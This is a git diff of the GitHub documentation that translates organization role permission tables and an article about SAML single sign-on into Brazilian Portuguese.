+| [Gerenciar o acesso de SAML de um usuário à sua organização](/organizations/granting-access-to-your-organization-with-saml-single-sign-on/viewing-and-managing-a-members-saml-access-to-your-organization)                                                                                                                                                                                 |     **X**     |             |                      |                             |
+| Gerenciar uma autoridade certificada de SSH da organização (consulte "[Gerenciar a autoridade certificada de SSH da organização](/articles/managing-your-organizations-ssh-certificate-authorities)" para detalhes)                                                                                                                                                                        |     **X**     |             |                      |        
+{% endif %}
+| Transferir repósitórios                                                                                                                                                                                                                                                                                                                                                                    |     **X**     |             |                      |                             |
+| Comprar, instalar, gerenciar cobranças e cancelar aplicativos do {% data variables.product.prodname_marketplace %}                                                                                                                                                                                                                                                                         |     **X**     |             |                      |                             |
+| Listar aplicativos no {% data variables.product.prodname_marketplace %}                                                                                                                                                                                                                                                                                                                    |     **X**     |             |                      |                             |
+| Recebe [{% data variables.product.prodname_dependabot_alerts %} sobre dependências vulneráveis](/github/managing-security-vulnerabilities/about-alerts-for-vulnerable-dependencies) para todos os repositórios de uma organização                                                                                                                                                        |     **X**     |             |                      |            **X**            |
+| Gerenciar {% data variables.product.prodname_dependabot_security_updates %} (ver "[Sobre {% data variables.product.prodname_dependabot_security_updates %}](/github/managing-security-vulnerabilities/about-dependabot-security-updates)")                                                                                                                                             |     **X**     |             |                      |            **X**            |
+| [Gerenciar a política de bifurcação](/organizations/managing-organization-settings/managing-the-forking-policy-for-your-organization)                                                                                                                                                                                                                                                      |     **X**     |             |                      |                             |
+| [Limitar a atividade em repositórios públicos na organização](/communities/moderating-comments-and-conversations/limiting-interactions-in-your-organization)                                                                                                                                                                                                                               |     **X**     |             |                      |                             |
+| Pull (read) *all repositories* in the organization                                                                                                                                                                                                                                                                                                                                         |     **X**     |             |                      |            **X**            |
+| Push (write) and clone (copy) *all repositories* in the organization                                                                                                                                                                                                                                                                                                                       |     **X**     |             |                      |                             |
+| Converter integrantes da organização em [colaboradores externos](#outside-collaborators)                                                                                                                                                                                                                                                                                                   |     **X**     |             |                      |                             |
+| [Exibir as pessoas com acesso a um repositório da organização](/articles/viewing-people-with-access-to-your-repository)                                                                                                                                                                                                                                                                    |     **X**     |             |                      |                             |
+| [Exportar uma lista das pessoas com acesso a um repositório da organização](/articles/viewing-people-with-access-to-your-repository/#exporting-a-list-of-people-with-access-to-your-repository)                                                                                                                                                                                            |     **X**     |             |                      |                             |
+| Gerenciar o nome do branch-padrão (consulte "[Gerenciar o nome do branch-padrão para repositórios na sua organização](/organizations/managing-organization-settings/managing-the-default-branch-name-for-repositories-in-your-organization)")                                                                                                                                              |     **X**     |             |                      |                             |
+| Gerenciar etiquetas padrão (consulte "[Gerenciar etiquetas padrão nos repositórios da organização](/articles/managing-default-labels-for-repositories-in-your-organization)")                                                                                                                                                                                                              |     **X**     |             |                      |    |{% ifversion ghec %}
+| Habilitar sincronização de equipes (consulte "[Gerenciar sincronização de equipe para a sua organização](/organizations/managing-saml-single-sign-on-for-your-organization/managing-team-synchronization-for-your-organization)" para obter informações)                                                                                                                                   |     **X**     |             |                      |        
+{% endif %}
 
 {% elsif ghes > 3.2 or ghae-issue-4999 %}
 <!--GHES 3.3+ and eventual GHAE release don't have the extra column for Billing managers, but have security managers-->
 
-| Organization action | Owners | Members | Security managers |
-|:--------------------|:------:|:-------:|:-------:|
-| Invite people to join the organization | **X** |  |  |
-| Edit and cancel invitations to join the organization | **X** |  |  |
-| Remove members from the organization | **X** | | |  |
-| Reinstate former members to the organization | **X** | | |  |
-| Add and remove people from **all teams** | **X** |  |  |
-| Promote organization members to *team maintainer* | **X** |  |  |
-| Configure code review assignments (see "[Managing code review assignment for your team](/organizations/organizing-members-into-teams/managing-code-review-assignment-for-your-team)") | **X** |  |  |
-| Add collaborators to **all repositories** | **X** |  |  |
-| Access the organization audit log | **X** |  |  |
-| Edit the organization's profile page (see "[About your organization's profile](/github/setting-up-and-managing-your-github-profile/customizing-your-profile/about-your-organizations-profile)" for details) | **X** |  |  |{% ifversion ghes > 3.1 %}
-| Verify the organization's domains (see "[Verifying your organization's domain](/articles/verifying-your-organization-s-domain)" for details) | **X** |  |  |
-| Restrict email notifications to verified or approved domains (see "[Restricting email notifications for your organization](/organizations/keeping-your-organization-secure/restricting-email-notifications-for-your-organization)" for details) | **X** |  |  |{% endif %}
-| Delete **all teams** | **X** |  |  |
-| Delete the organization account, including all repositories | **X** |  |  |
-| Create teams (see "[Setting team creation permissions in your organization](/articles/setting-team-creation-permissions-in-your-organization)" for details) | **X** | **X** | **X**  |
-| See all organization members and teams | **X** | **X** | **X**  |
-| @mention any visible team | **X** | **X** | **X**  |
-| Can be made a *team maintainer* | **X** | **X** | **X**  |
-| Transfer repositories | **X** | |  |
-| Manage security and analysis settings (see "[Managing security and analysis settings for your organization](/organizations/keeping-your-organization-secure/managing-security-and-analysis-settings-for-your-organization)" for details) | **X** | | **X** |{% ifversion ghes > 3.1 %}
-| View the security overview for the organization (see "[About the security overview](/code-security/security-overview/about-the-security-overview)" for details) | **X** | | **X** |{% endif %}{% ifversion ghes > 3.2 %}
-| Manage {% data variables.product.prodname_dependabot_security_updates %} (see "[About {% data variables.product.prodname_dependabot_security_updates %}](/github/managing-security-vulnerabilities/about-dependabot-security-updates)") | **X** | | **X** |{% endif %}
-| Manage an organization's SSH certificate authorities (see "[Managing your organization's SSH certificate authorities](/articles/managing-your-organizations-ssh-certificate-authorities)" for details) | **X** |  |  |
-| Create project boards (see "[Project board permissions for an organization](/articles/project-board-permissions-for-an-organization)" for details) | **X** | **X** | **X** |
-| View and post public team discussions to **all teams** (see "[About team discussions](/organizations/collaborating-with-your-team/about-team-discussions)" for details) | **X** | **X** | **X**  |
-| View and post private team discussions to **all teams** (see "[About team discussions](/organizations/collaborating-with-your-team/about-team-discussions)" for details) | **X** |  |  |
-| Edit and delete team discussions in **all teams** (for more information, see "[Managing disruptive comments](/communities/moderating-comments-and-conversations/managing-disruptive-comments)) | **X** |  |  |  |
-| Hide comments on commits, pull requests, and issues (see "[Managing disruptive comments](/communities/moderating-comments-and-conversations/managing-disruptive-comments/#hiding-a-comment)" for details) | **X** | **X** | **X**  |
-| Disable team discussions for an organization (see "[Disabling team discussions for your organization](/articles/disabling-team-discussions-for-your-organization)" for details) | **X** |  |  |
-| Set a team profile picture in **all teams** (see "[Setting your team's profile picture](/articles/setting-your-team-s-profile-picture)" for details) | **X** |  |  |{% ifversion ghes > 3.0 %}
-| Manage the publication of {% data variables.product.prodname_pages %} sites from repositories in the organization (see "[Managing the publication of {% data variables.product.prodname_pages %} sites for your organization](/organizations/managing-organization-settings/managing-the-publication-of-github-pages-sites-for-your-organization)" for details) | **X** | |  |{% endif %}
-| [Move teams in an organization's hierarchy](/articles/moving-a-team-in-your-organization-s-hierarchy) | **X** | | |
-| Pull (read) *all repositories* in the organization | **X** | | **X** |
-| Push (write) and clone (copy) *all repositories* in the organization | **X** | |  |
-| Convert organization members to [outside collaborators](#outside-collaborators) | **X** | |  |
-| [View people with access to an organization repository](/articles/viewing-people-with-access-to-your-repository) | **X** | |  |
-| [Export a list of people with access to an organization repository](/articles/viewing-people-with-access-to-your-repository/#exporting-a-list-of-people-with-access-to-your-repository) | **X** | |  |
-| Manage default labels (see "[Managing default labels for repositories in your organization](/articles/managing-default-labels-for-repositories-in-your-organization)") | **X** | |  |
+| Ação da organização                                                                                                                                                                                                                                                                                                                                                                        | Proprietários | Integrantes |            Gerentes de segurança             |
+|:------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------ |:-------------:|:-----------:|:--------------------------------------------:|
+| Convidar pessoas para integrar a organização                                                                                                                                                                                                                                                                                                                                               |     **X**     |             |                                              |
+| Editar e cancelar convites para integrar a organização                                                                                                                                                                                                                                                                                                                                     |     **X**     |             |                                              |
+| Remover integrantes da organização                                                                                                                                                                                                                                                                                                                                                         |     **X**     |             |                      |                       |
+| Restabelecer ex-integrantes da organização                                                                                                                                                                                                                                                                                                                                                 |     **X**     |             |                      |                       |
+| Adicionar e remover pessoas de **todas as equipes**                                                                                                                                                                                                                                                                                                                                        |     **X**     |             |                                              |
+| Promover integrantes da organização a *mantenedor de equipe*                                                                                                                                                                                                                                                                                                                               |     **X**     |             |                                              |
+| Configurar as atribuições de revisão de código (consulte "[Gerenciar a atribuição de revisão de código para a sua equipe](/organizations/organizing-members-into-teams/managing-code-review-assignment-for-your-team)")                                                                                                                                                                    |     **X**     |             |                                              |
+| Adicionar colaboradores em **todos os repositórios**                                                                                                                                                                                                                                                                                                                                       |     **X**     |             |                                              |
+| Acessar o log de auditoria da organização                                                                                                                                                                                                                                                                                                                                                  |     **X**     |             |                                              |
+| Editar a página de perfil da organização (consulte "[Sobre o perfil da sua organização](/github/setting-up-and-managing-your-github-profile/customizing-your-profile/about-your-organizations-profile)" para detalhes)                                                                                                                                                                     |     **X**     |             |         |{% ifversion ghes > 3.1 %}
+| Verificar os domínios da organização (consulte "[Verificar o domínio da sua organização](/articles/verifying-your-organization-s-domain)" para detalhes)                                                                                                                                                                                                                                   |     **X**     |             |                                              |
+| Restringir as notificações de e-mail a domínios verificados ou aprovados (consulte "[Restringir notificações de e-mail para a sua organização](/organizations/keeping-your-organization-secure/restricting-email-notifications-for-your-organization)" para obter informações)                                                                                                             |     **X**     |             |                 
+{% endif %}
+| Excluir **todas as equipes**                                                                                                                                                                                                                                                                                                                                                               |     **X**     |             |                                              |
+| Excluir a conta da organização, inclusive todos os repositórios                                                                                                                                                                                                                                                                                                                            |     **X**     |             |                                              |
+| Criar equipes (consulte "[Configurar permissões de criação de equipes na organização](/articles/setting-team-creation-permissions-in-your-organization)" para detalhes)                                                                                                                                                                                                                    |     **X**     |    **X**    |                    **X**                     |
+| Ver todos os integrantes e equipes da organização                                                                                                                                                                                                                                                                                                                                          |     **X**     |    **X**    |                    **X**                     |
+| @mencionar qualquer equipe visível                                                                                                                                                                                                                                                                                                                                                         |     **X**     |    **X**    |                    **X**                     |
+| Poder se tornar um *mantenedor de equipe*                                                                                                                                                                                                                                                                                                                                                  |     **X**     |    **X**    |                    **X**                     |
+| Transferir repósitórios                                                                                                                                                                                                                                                                                                                                                                    |     **X**     |             |                                              |
+| Gerenciar as configurações de segurança e análise (consulte "[Gerenciar as configurações de segurança e análise para a sua organização](/organizations/keeping-your-organization-secure/managing-security-and-analysis-settings-for-your-organization)" para obter mais informações)                                                                                                       |     **X**     |             |      **X** |{% ifversion ghes > 3.1 %}
+| Veja a visão geral de segurança da organização (consulte "[Sobre a visão geral de segurança](/code-security/security-overview/about-the-security-overview)" para obter mais informações)                                                                                                                                                                                                   |     **X**     |             | **X** |{% endif %}{% ifversion ghes > 3.2 %}
+| Gerenciar {% data variables.product.prodname_dependabot_security_updates %} (ver "[Sobre {% data variables.product.prodname_dependabot_security_updates %}](/github/managing-security-vulnerabilities/about-dependabot-security-updates)")                                                                                                                                             |     **X**     |             |              **X** 
+{% endif %}
+| Gerenciar uma autoridade certificada de SSH da organização (consulte "[Gerenciar a autoridade certificada de SSH da organização](/articles/managing-your-organizations-ssh-certificate-authorities)" para detalhes)                                                                                                                                                                        |     **X**     |             |                                              |
+| Criar quadros de projetos (consulte "[Permissões de quadro de projeto para uma organização](/articles/project-board-permissions-for-an-organization)" para detalhes)                                                                                                                                                                                                                       |     **X**     |    **X**    |                    **X**                     |
+| Visualizar e publicar discussões de equipe públicas para **todas as equipes** (consulte "[Sobre discussões de equipe](/organizations/collaborating-with-your-team/about-team-discussions)" para detalhes)                                                                                                                                                                                  |     **X**     |    **X**    |                    **X**                     |
+| Visualizar e publicar discussões de equipe privadas para **todas as equipes** (consulte "[Sobre discussões de equipe](/organizations/collaborating-with-your-team/about-team-discussions)" para detalhes)                                                                                                                                                                                  |     **X**     |             |                                              |
+| Editar e excluir discussões de equipe em **todas as equipes** (para obter mais informações, consulte "[Gerenciar comentários conflituosos](/communities/moderating-comments-and-conversations/managing-disruptive-comments))                                                                                                                                                               |     **X**     |             |                      |                       |
+| Ocultar comentários em commits, pull requests e problemas (consulte "[Gerenciar comentários conflituosos](/communities/moderating-comments-and-conversations/managing-disruptive-comments/#hiding-a-comment)" para detalhes)                                                                                                                                                               |     **X**     |    **X**    |                    **X**                     |
+| Desabilitar discussões de equipe na organização (consulte "[Desabilitar discussões de equipe em sua organização](/articles/disabling-team-discussions-for-your-organization)" para detalhes)                                                                                                                                                                                               |     **X**     |             |                                              |
+| Definir uma foto de perfil da equipe para **todas as equipes** (consulte "[Definir uma foto de perfil de sua equipe](/articles/setting-your-team-s-profile-picture)" para detalhes)                                                                                                                                                                                                        |     **X**     |             |         |{% ifversion ghes > 3.0 %}
+| Gerencie a publicação dos sites de {% data variables.product.prodname_pages %} a partir dos repositórios na organização (consulte "[Gerenciar a publicação de sites de {% data variables.product.prodname_pages %} para a sua organização](/organizations/managing-organization-settings/managing-the-publication-of-github-pages-sites-for-your-organization)para obter mais informações) |     **X**     |             |                 
+{% endif %}
+| [Mover equipes na hierarquia da organização](/articles/moving-a-team-in-your-organization-s-hierarchy)                                                                                                                                                                                                                                                                                     |     **X**     |             |                                              |
+| Pull (read) *all repositories* in the organization                                                                                                                                                                                                                                                                                                                                         |     **X**     |             |                    **X**                     |
+| Push (write) and clone (copy) *all repositories* in the organization                                                                                                                                                                                                                                                                                                                       |     **X**     |             |                                              |
+| Converter integrantes da organização em [colaboradores externos](#outside-collaborators)                                                                                                                                                                                                                                                                                                   |     **X**     |             |                                              |
+| [Exibir as pessoas com acesso a um repositório da organização](/articles/viewing-people-with-access-to-your-repository)                                                                                                                                                                                                                                                                    |     **X**     |             |                                              |
+| [Exportar uma lista das pessoas com acesso a um repositório da organização](/articles/viewing-people-with-access-to-your-repository/#exporting-a-list-of-people-with-access-to-your-repository)                                                                                                                                                                                            |     **X**     |             |                                              |
+| Gerenciar etiquetas padrão (consulte "[Gerenciar etiquetas padrão nos repositórios da organização](/articles/managing-default-labels-for-repositories-in-your-organization)")                                                                                                                                                                                                              |     **X**     |             |                                              |
 {% ifversion ghae %}| Manage IP allow lists (see "[Restricting network traffic to your enterprise](/admin/configuration/restricting-network-traffic-to-your-enterprise)") | **X** | |  |{% endif %}
 
 
 {% else %}
 <!--GHES and GHAE older versions don't have the extra column for Billing managers or Security managers-->
 
-| Organization action | Owners | Members |
-|:--------------------|:------:|:-------:|
-| Invite people to join the organization | **X** |  |
-| Edit and cancel invitations to join the organization | **X** |  |
-| Remove members from the organization | **X** | | |
-| Reinstate former members to the organization | **X** | | |
-| Add and remove people from **all teams** | **X** |  |  
-| Promote organization members to *team maintainer* | **X** |  |
-| Configure code review assignments (see "[Managing code review settings for your team](/organizations/organizing-members-into-teams/managing-code-review-settings-for-your-team)")) | **X** |  |
-| Add collaborators to **all repositories** | **X** |  |
-| Access the organization audit log | **X** |  |
-| Edit the organization's profile page (see "[About your organization's profile](/github/setting-up-and-managing-your-github-profile/customizing-your-profile/about-your-organizations-profile)" for details) | **X** |  |  |{% ifversion ghes > 3.1 %}
-| Verify the organization's domains (see "[Verifying your organization's domain](/articles/verifying-your-organization-s-domain)" for details) | **X** |  |
-| Restrict email notifications to verified or approved domains (see "[Restricting email notifications for your organization](/organizations/keeping-your-organization-secure/restricting-email-notifications-for-your-organization)" for details) | **X** |  |{% endif %}
-| Delete **all teams** | **X** |  |
-| Delete the organization account, including all repositories | **X** |  |
-| Create teams (see "[Setting team creation permissions in your organization](/articles/setting-team-creation-permissions-in-your-organization)" for details) | **X** | **X** |
-| See all organization members and teams | **X** | **X** |
-| @mention any visible team | **X** | **X** |
-| Can be made a *team maintainer* | **X** | **X** |
-| Transfer repositories | **X** | |
-| Manage an organization's SSH certificate authorities (see "[Managing your organization's SSH certificate authorities](/articles/managing-your-organizations-ssh-certificate-authorities)" for details) | **X** |  |
-| Create project boards (see "[Project board permissions for an organization](/articles/project-board-permissions-for-an-organization)" for details) | **X** | **X** | |
-| View and post public team discussions to **all teams** (see "[About team discussions](/organizations/collaborating-with-your-team/about-team-discussions)" for details) | **X** | **X** |  |
-| View and post private team discussions to **all teams** (see "[About team discussions](/organizations/collaborating-with-your-team/about-team-discussions)" for details) | **X** |  |  |
-| Edit and delete team discussions in **all teams** (for more information, see "[Managing disruptive comments](/communities/moderating-comments-and-conversations/managing-disruptive-comments)) | **X** |  |  |
-| Hide comments on commits, pull requests, and issues (see "[Managing disruptive comments](/communities/moderating-comments-and-conversations/managing-disruptive-comments/#hiding-a-comment)" for details) | **X** | **X** | **X** |
-| Disable team discussions for an organization (see "[Disabling team discussions for your organization](/articles/disabling-team-discussions-for-your-organization)" for details) | **X** |  |  |
-| Set a team profile picture in **all teams** (see "[Setting your team's profile picture](/articles/setting-your-team-s-profile-picture)" for details) | **X** |  |  |{% ifversion ghes > 3.0 %}
-| Manage the publication of {% data variables.product.prodname_pages %} sites from repositories in the organization (see "[Managing the publication of {% data variables.product.prodname_pages %} sites for your organization](/organizations/managing-organization-settings/managing-the-publication-of-github-pages-sites-for-your-organization)" for details) | **X** | |{% endif %}
-| [Move teams in an organization's hierarchy](/articles/moving-a-team-in-your-organization-s-hierarchy) | **X** | | |
-| Pull (read), push (write), and clone (copy) *all repositories* in the organization | **X** | |
-| Convert organization members to [outside collaborators](#outside-collaborators) | **X** | |
-| [View people with access to an organization repository](/articles/viewing-people-with-access-to-your-repository) | **X** | |
-| [Export a list of people with access to an organization repository](/articles/viewing-people-with-access-to-your-repository/#exporting-a-list-of-people-with-access-to-your-repository) | **X** | |
-| Manage default labels (see "[Managing default labels for repositories in your organization](/articles/managing-default-labels-for-repositories-in-your-organization)") | **X** | |
-{% ifversion ghae %}| Manage IP allow lists (see "[Restricting network traffic to your enterprise](/admin/configuration/restricting-network-traffic-to-your-enterprise)") | **X** | |{% endif %}
+| Ação da organização                                                                                                                                                                                                                                                                                                                                                                        | Proprietários |          Integrantes           |
+|:------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------ |:-------------:|:------------------------------:|
+| Convidar pessoas para integrar a organização                                                                                                                                                                                                                                                                                                                                               |     **X**     |                                |
+| Editar e cancelar convites para integrar a organização                                                                                                                                                                                                                                                                                                                                     |     **X**     |                                |
+| Remover integrantes da organização                                                                                                                                                                                                                                                                                                                                                         |     **X**     |               |                |
+| Restabelecer ex-integrantes da organização                                                                                                                                                                                                                                                                                                                                                 |     **X**     |               |                |
+| Adicionar e remover pessoas de **todas as equipes**                                                                                                                                                                                                                                                                                                                                        |     **X**     |                                |
+| Promover integrantes da organização a *mantenedor de equipe*                                                                                                                                                                                                                                                                                                                               |     **X**     |                                |
+| Configure as atribuições de revisão de código (consulte "[Gerenciando as configurações de revisão de código da sua equipe](/organizations/organizing-members-into-teams/managing-code-review-settings-for-your-team)"))                                                                                                                                                                    |     **X**     |                                |
+| Adicionar colaboradores em **todos os repositórios**                                                                                                                                                                                                                                                                                                                                       |     **X**     |                                |
+| Acessar o log de auditoria da organização                                                                                                                                                                                                                                                                                                                                                  |     **X**     |                                |
+| Editar a página de perfil da organização (consulte "[Sobre o perfil da sua organização](/github/setting-up-and-managing-your-github-profile/customizing-your-profile/about-your-organizations-profile)" para detalhes)                                                                                                                                                                     |     **X**     | |  |{% ifversion ghes > 3.1 %}
+| Verificar os domínios da organização (consulte "[Verificar o domínio da sua organização](/articles/verifying-your-organization-s-domain)" para detalhes)                                                                                                                                                                                                                                   |     **X**     |                                |
+| Restringir as notificações de e-mail a domínios verificados ou aprovados (consulte "[Restringir notificações de e-mail para a sua organização](/organizations/keeping-your-organization-secure/restricting-email-notifications-for-your-organization)" para obter informações)                                                                                                             |     **X**     |          
+{% endif %}
+| Excluir **todas as equipes**                                                                                                                                                                                                                                                                                                                                                               |     **X**     |                                |
+| Excluir a conta da organização, inclusive todos os repositórios                                                                                                                                                                                                                                                                                                                            |     **X**     |                                |
+| Criar equipes (consulte "[Configurar permissões de criação de equipes na organização](/articles/setting-team-creation-permissions-in-your-organization)" para detalhes)                                                                                                                                                                                                                    |     **X**     |             **X**              |
+| Ver todos os integrantes e equipes da organização                                                                                                                                                                                                                                                                                                                                          |     **X**     |             **X**              |
+| @mencionar qualquer equipe visível                                                                                                                                                                                                                                                                                                                                                         |     **X**     |             **X**              |
+| Poder se tornar um *mantenedor de equipe*                                                                                                                                                                                                                                                                                                                                                  |     **X**     |             **X**              |
+| Transferir repósitórios                                                                                                                                                                                                                                                                                                                                                                    |     **X**     |                                |
+| Gerenciar uma autoridade certificada de SSH da organização (consulte "[Gerenciar a autoridade certificada de SSH da organização](/articles/managing-your-organizations-ssh-certificate-authorities)" para detalhes)                                                                                                                                                                        |     **X**     |                                |
+| Criar quadros de projetos (consulte "[Permissões de quadro de projeto para uma organização](/articles/project-board-permissions-for-an-organization)" para detalhes)                                                                                                                                                                                                                       |     **X**     |            **X** |             |
+| Visualizar e publicar discussões de equipe públicas para **todas as equipes** (consulte "[Sobre discussões de equipe](/organizations/collaborating-with-your-team/about-team-discussions)" para detalhes)                                                                                                                                                                                  |     **X**     |            **X** |             |
+| Visualizar e publicar discussões de equipe privadas para **todas as equipes** (consulte "[Sobre discussões de equipe](/organizations/collaborating-with-your-team/about-team-discussions)" para detalhes)                                                                                                                                                                                  |     **X**     |               |                |
+| Editar e excluir discussões de equipe em **todas as equipes** (para obter mais informações, consulte "[Gerenciar comentários conflituosos](/communities/moderating-comments-and-conversations/managing-disruptive-comments))                                                                                                                                                               |     **X**     |               |                |
+| Ocultar comentários em commits, pull requests e problemas (consulte "[Gerenciar comentários conflituosos](/communities/moderating-comments-and-conversations/managing-disruptive-comments/#hiding-a-comment)" para detalhes)                                                                                                                                                               |     **X**     |         **X** | **X**          |
+| Desabilitar discussões de equipe na organização (consulte "[Desabilitar discussões de equipe em sua organização](/articles/disabling-team-discussions-for-your-organization)" para detalhes)                                                                                                                                                                                               |     **X**     |               |                |
+| Definir uma foto de perfil da equipe para **todas as equipes** (consulte "[Definir uma foto de perfil de sua equipe](/articles/setting-your-team-s-profile-picture)" para detalhes)                                                                                                                                                                                                        |     **X**     | |  |{% ifversion ghes > 3.0 %}
+| Gerencie a publicação dos sites de {% data variables.product.prodname_pages %} a partir dos repositórios na organização (consulte "[Gerenciar a publicação de sites de {% data variables.product.prodname_pages %} para a sua organização](/organizations/managing-organization-settings/managing-the-publication-of-github-pages-sites-for-your-organization)para obter mais informações) |     **X**     |          
+{% endif %}
+| [Mover equipes na hierarquia da organização](/articles/moving-a-team-in-your-organization-s-hierarchy)                                                                                                                                                                                                                                                                                     |     **X**     |               |                |
+| Fazer pull (ler), fazer push (gravar) e clonar (copiar) *todos os repositórios* na organização                                                                                                                                                                                                                                                                                             |     **X**     |                                |
+| Converter integrantes da organização em [colaboradores externos](#outside-collaborators)                                                                                                                                                                                                                                                                                                   |     **X**     |                                |
+| [Exibir as pessoas com acesso a um repositório da organização](/articles/viewing-people-with-access-to-your-repository)                                                                                                                                                                                                                                                                    |     **X**     |                                |
+| [Exportar uma lista das pessoas com acesso a um repositório da organização](/articles/viewing-people-with-access-to-your-repository/#exporting-a-list-of-people-with-access-to-your-repository)                                                                                                                                                                                            |     **X**     |                                |
+| Gerenciar etiquetas padrão (consulte "[Gerenciar etiquetas padrão nos repositórios da organização](/articles/managing-default-labels-for-repositories-in-your-organization)")                                                                                                                                                                                                              |     **X**     |                                |
+{% ifversion ghae %}| Gerenciar listas de permissão de IP (consulte "[Restringir tráfego de rede para a sua empresa](/admin/configuration/restricting-network-traffic-to-your-enterprise)") | **X** | |{% endif %}
 
 {% endif %}
 
-## Further reading
+## Leia mais
 
-- "[Repository roles for an organization](/organizations/managing-access-to-your-organizations-repositories/repository-roles-for-an-organization)"
-- "[Project board permissions for an organization](/organizations/managing-access-to-your-organizations-project-boards/project-board-permissions-for-an-organization)"
+- "[Funções do repositório para uma organização](/organizations/managing-access-to-your-organizations-repositories/repository-roles-for-an-organization)"
+- "[Permissões de quadro de projeto para uma organização](/organizations/managing-access-to-your-organizations-project-boards/project-board-permissions-for-an-organization)"
diff --git a/translations/pt-BR/content/organizations/managing-saml-single-sign-on-for-your-organization/about-identity-and-access-management-with-saml-single-sign-on.md b/translations/pt-BR/content/organizations/managing-saml-single-sign-on-for-your-organization/about-identity-and-access-management-with-saml-single-sign-on.md
index 5839c6e333..7f52b2ee95 100644
--- a/translations/pt-BR/content/organizations/managing-saml-single-sign-on-for-your-organization/about-identity-and-access-management-with-saml-single-sign-on.md
+++ b/translations/pt-BR/content/organizations/managing-saml-single-sign-on-for-your-organization/about-identity-and-access-management-with-saml-single-sign-on.md
@@ -1,6 +1,6 @@
 ---
-title: About identity and access management with SAML single sign-on
-intro: 'If you centrally manage your users'' identities and applications with an identity provider (IdP), you can configure Security Assertion Markup Language (SAML) single sign-on (SSO) to protect your organization''s resources on {% data variables.product.prodname_dotcom %}.'
+title: Sobre o gerenciamento de identidade e acesso com o SAML de logon único
+intro: 'Se você gerencia centralmente as identidades e aplicativos dos seus usuários com um provedor de identidade (IdP), você pode configurar o Logon Único (SSO) da Linguagem de Markup de Declaração de Segurança (SAML) para proteger os recursos da sua organização em {% data variables.product.prodname_dotcom %}.'
 redirect_from:
   - /articles/about-identity-and-access-management-with-saml-single-sign-on
   - /github/setting-up-and-managing-organizations-and-teams/about-identity-and-access-management-with-saml-single-sign-on
@@ -9,56 +9,56 @@ versions:
 topics:
   - Organizations
   - Teams
-shortTitle: IAM with SAML SSO
+shortTitle: IAM com SSO do SAML
 ---
 
 {% data reusables.enterprise-accounts.emu-saml-note %}
 
-## About SAML SSO
+## Sobre o SAML SSO
 
 {% data reusables.saml.dotcom-saml-explanation %}
 
 {% data reusables.saml.saml-accounts %}
 
-Organization owners can enforce SAML SSO for an individual organization, or enterprise owners can enforce SAML SSO for all organizations in an enterprise account. For more information, see "[Configuring SAML single sign-on for your enterprise](/enterprise-cloud@latest/admin/authentication/managing-identity-and-access-for-your-enterprise/configuring-saml-single-sign-on-for-your-enterprise)."
+Os proprietários da organização podem aplicar o SSO do SAML para uma organização individual ou os proprietários corporativos podem aplicar o SSO do SAML para todas as organizações em uma conta corporativa. Para obter mais informações, consulte "[Configurar logon único SAML para a sua empresa](/enterprise-cloud@latest/admin/authentication/managing-identity-and-access-for-your-enterprise/configuring-saml-single-sign-on-for-your-enterprise)".
 
 {% data reusables.saml.outside-collaborators-exemption %}
 
-Before enabling SAML SSO for your organization, you'll need to connect your IdP to your organization. For more information, see "[Connecting your identity provider to your organization](/organizations/managing-saml-single-sign-on-for-your-organization/connecting-your-identity-provider-to-your-organization)."
+Antes de ativar o SAML SSO para sua organização, é necessário conectar seu IdP à sua organização. Para obter mais informações, consulte "[Conectar o provedor de identidade à sua organização](/organizations/managing-saml-single-sign-on-for-your-organization/connecting-your-identity-provider-to-your-organization)".
 
-For an organization, SAML SSO can be disabled, enabled but not enforced, or enabled and enforced. After you enable SAML SSO for your organization and your organization's members successfully authenticate with your IdP, you can enforce the SAML SSO configuration. For more information about enforcing SAML SSO for your {% data variables.product.prodname_dotcom %} organization, see "[Enforcing SAML single sign-on for your organization](/articles/enforcing-saml-single-sign-on-for-your-organization)."
+Para uma organização, o SAML SSO pode ser desabilitado, habilitado, mas não aplicado, ou habilitado e aplicado. Depois de ativar o SSO SAML para a sua organização e os integrantes da sua organização efetuarem a autenticação com sucesso com o seu IdP, você poderá aplicar a configuração SAML SSO. Para obter mais informações sobre a aplicação de SAML SSO para a sua organização do {% data variables.product.prodname_dotcom %}, consulte "[Aplicando logon único SAML para a sua organização](/articles/enforcing-saml-single-sign-on-for-your-organization)".
 
-Members must periodically authenticate with your IdP to authenticate and gain access to your organization's resources. The duration of this login period is specified by your IdP and is generally 24 hours. This periodic login requirement limits the length of access and requires users to re-identify themselves to continue.
+Os integrantes devem efetuar a autenticação periodicamente com seu IdP para efetuar a autenticação e obter acesso aos recursos da sua organização. A duração desse período de login é especificado pelo seu IdP e geralmente é de 24 horas. Esse requisito de login periódico limita a duração do acesso e exige que os usuários identifiquem-se novamente para continuar.
 
-To access the organization's protected resources using the API and Git on the command line, members must authorize and authenticate with a personal access token or SSH key. For more information, see "[Authorizing a personal access token for use with SAML single sign-on](/github/authenticating-to-github/authorizing-a-personal-access-token-for-use-with-saml-single-sign-on)" and "[Authorizing an SSH key for use with SAML single sign-on](/github/authenticating-to-github/authorizing-an-ssh-key-for-use-with-saml-single-sign-on)."
+Para acessar os recursos protegidos da organização que usam a API e o Git na linha de comando, os integrantes devem autorizar e efetuar a autenticação com um token de acesso pessoal ou chave SSH. Para mais informações consulte "[Autorizar um token de acesso pessoal para usar com o logon único SAML](/github/authenticating-to-github/authorizing-a-personal-access-token-for-use-with-saml-single-sign-on)" e "[Autorizar uma chave SSH para uso com o logon único SAML](/github/authenticating-to-github/authorizing-an-ssh-key-for-use-with-saml-single-sign-on)."
 
-The first time a member uses SAML SSO to access your organization, {% data variables.product.prodname_dotcom %} automatically creates a record that links your organization, the member's account on {% data variables.product.product_location %}, and the member's account on your IdP. You can view and revoke the linked SAML identity, active sessions, and authorized credentials for members of your organization or enterprise account. For more information, see "[Viewing and managing a member's SAML access to your organization](/organizations/granting-access-to-your-organization-with-saml-single-sign-on/viewing-and-managing-a-members-saml-access-to-your-organization)" and "[Viewing and managing a user's SAML access to your enterprise account](/enterprise-cloud@latest/admin/user-management/managing-users-in-your-enterprise/viewing-and-managing-a-users-saml-access-to-your-enterprise)."
